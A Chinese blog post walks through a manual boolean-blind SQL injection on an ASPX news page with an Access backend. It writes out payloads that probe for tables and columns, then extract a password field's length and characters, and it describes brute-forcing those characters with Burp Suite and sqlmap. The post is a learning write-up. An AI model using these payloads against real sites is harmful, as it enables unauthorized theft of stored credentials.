domb

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

看到新闻中心是一个动态页面,用id传参,然后就尝试一下SQL注入

 

and 1=1页面显示正常

 

and 1=2页面显示异常,所以判断存在SQL注入漏洞

然后看到文件后缀是.aspx,初步判断是Access库,但是用#注释页面还是回显正常,就暂定是Access,接着试

发现当使用order by 1想要判断字段数,发现报错了,所以联合注入是不可行的,Access库直接尝试盲注

and exists(select * from userlist)来判断是否存在userlist表,页面回显正常,所以存在userlist表

and exists(select id from userlist)判断是否存在id字段,页面回显正常存在id字段

and exists(select pwd from userlist)同样pwd字段也存在

当判断username字段是否存在的时候,页面报错,所以username字段是不存在的

and (select top 1 len(pwd) from userlist)>5判断pwd字段的第一行数据的长度是否大于5

 

and (select top 1 len(pwd) from userlist)>10,同样判断数据长度是否大于10的时候页面回显异常,说明数据长度是在5-10

and (select top 1 len(pwd) from userlist)=6最后确定pwd字段第一行数据有6个字符,然后就可以用BP进行爆破

 

and (select top 1 asc(mid(pwd,1,1)) from userlist)=97判断pwd字段第一行数据的第一个字符的ASCII码是否等于97

ASCII 编码中第 0~31 个字符(开头的 32 个字符)以及第 127 个字符(最后一个字符)都是不可见的(无法显示),但是它们都具有一些特殊功能,所以称为控制字符( Control Character)或者功能码(Function Code),

所以在这里数据的合法ASCII码范围是32-126,也就是payload2的范围;payload1前面已经确认了一共六个字符,所以范围为1-6,攻击类型选择集束炸弹模式,然后就可以开始跑包了。

然后可以根据返回页面的长度排序,正常页面的长度一般比异常页面长度长。

 

 

这个是sqlmap跑出来的结果,最后手注和工具跑出来的结果不一样,答案还在验证

 

posted on 2022-05-25 15:54  domb  阅读(76)  评论(0编辑  收藏  举报